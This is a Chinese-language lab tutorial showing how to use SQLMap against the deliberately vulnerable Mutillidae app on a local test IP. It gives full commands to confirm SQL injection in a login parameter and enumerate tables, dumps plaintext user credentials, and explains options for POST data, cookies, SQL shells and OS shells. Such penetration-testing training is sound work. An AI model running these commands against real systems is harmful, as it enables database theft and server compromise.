08 漏洞利用:使用SQLMap识别并利用SQL注入漏洞

正如前文描述的一样,SQL 注入是一个繁琐的过程。SQLMap这个命令行工具,能通过多找那个技术手段,自动化的识别和利用多种数据库的SQL注入漏洞

下面,使用SQLMap识别和利用一个SQL注入漏洞,并最终获取该应用的用户名和密码

实践

  1. 访问靶机应用:
    http://192.168.150.143/mutillidae

  2. 跳转到 OWASP Top 10 | A1 – SQL Injection | SQLi Extract Data | User Info


    08 漏洞利用:使用SQLMap识别并利用SQL注入漏洞_第1张图片
    Paste_Image.png
  3. 输入任意用户名和密码,如(user/password),然后点击** View Account Details**


    08 漏洞利用:使用SQLMap识别并利用SQL注入漏洞_第2张图片
    Paste_Image.png
  4. 登陆失败,但请注意URL,里面包含登陆参数,拷贝完整URL

  5. 下面,在命令行输入以下命令:

sqlmap -u "http://192.168.150.143/mutillidae/index.php?page=user-info.php&username=user&password=password&user-info-php-submit-button=View+Account+Details" -p username --current-user --current-db
08 漏洞利用:使用SQLMap识别并利用SQL注入漏洞_第3张图片
Paste_Image.png
  1. 如图,sqlmap检测到应用所使用的DBMS,会询问是否跳过检测其他DBMS,这里,输入 Y 跳过检测其它数据库,输入 N 包含所有检测
  2. 一旦我们指定的参数被检出存在注入漏洞,SQLMap会询问是否检测其他参数,这里我们选择 N


    08 漏洞利用:使用SQLMap识别并利用SQL注入漏洞_第4张图片
    Paste_Image.png

    08 漏洞利用:使用SQLMap识别并利用SQL注入漏洞_第5张图片
    Paste_Image.png
  3. 确认注入点后,我们执行下面的命令,获取目标库中的所有表格:
sqlmap -u "http://192.168.150.143/mutillidae/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details" -p username -D nowasp --tables
08 漏洞利用:使用SQLMap识别并利用SQL注入漏洞_第6张图片
Paste_Image.png

SQLMap会将扫描过的结果报错到日志中,所以第二次攻击的扫描时间较第一次短了很多。这条命令指定了数据库,并告知SQLMap返回这个库的所有表名

  1. 如图,accounts表,就是包含我们需要信息的表,查看下其中的内容:
sqlmap -u "http://192.168.150.143/mutillidae/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details" -p username -D nowasp -T accounts --dump
08 漏洞利用:使用SQLMap识别并利用SQL注入漏洞_第7张图片
Paste_Image.png

如图,是所有用户的用户名和密码,其中,密码是明文存储的,我们可以直接使用

总结

SQLMap 会尝试所有可能的输入到给出的URL和data,如果使用 -p 参数指定参数,则只会对指定的参数进行注入测试。实际操作,尽量不要fuzz所有的输入,尽可能提供详细的信息(漏洞参数、DBMS类型等)来缩减搜索过程。如果全部都扫描的话,既浪费时间,又浪费网络带宽

上文中,我们已经知道username参数是注入点,第一次攻击,确认该注入点,获取基础信息:

  • user name (--curent-user)
  • database name (--current-db)

第二次攻击,-D 参数指定了要查询的数据库,--tables 参数列出了库中所有表格名称

确定了要脱的表格,使用参数 (-T accounts)指定表,使用参数 --dump 指定操作类型,获取指定表格内容

除了GET请求,SQLMap也能处理POST请求中的参数,使用参数 --data 后跟 POST data(双引号括起来):

--data "username=test&password=test"

有些URL需要访问权限,因此,可以通过添加cookie的方式,使用 --cookie参数,指定一个有效的会话cookie:

--cookie "PHPSESSID=ckleiuvrv60fs012hlj72eeh37"

这个功能也可以用来测试cookie注入点的情况

另一个强大的功能,使用参数 --sql-shell,SQLMap可以给我们提供一个SQL shell,我们可以在shell里直接执行查询语句, 更牛逼的是,可以使用 --os-shell 参数获取系统shell,执行database服务器系统级别的命令(这个功能尤其适合 Microsoft SQL Server)

更详细的信息,记得参考官方帮助:

sqlmap --help

你可能感兴趣的:(08 漏洞利用:使用SQLMap识别并利用SQL注入漏洞)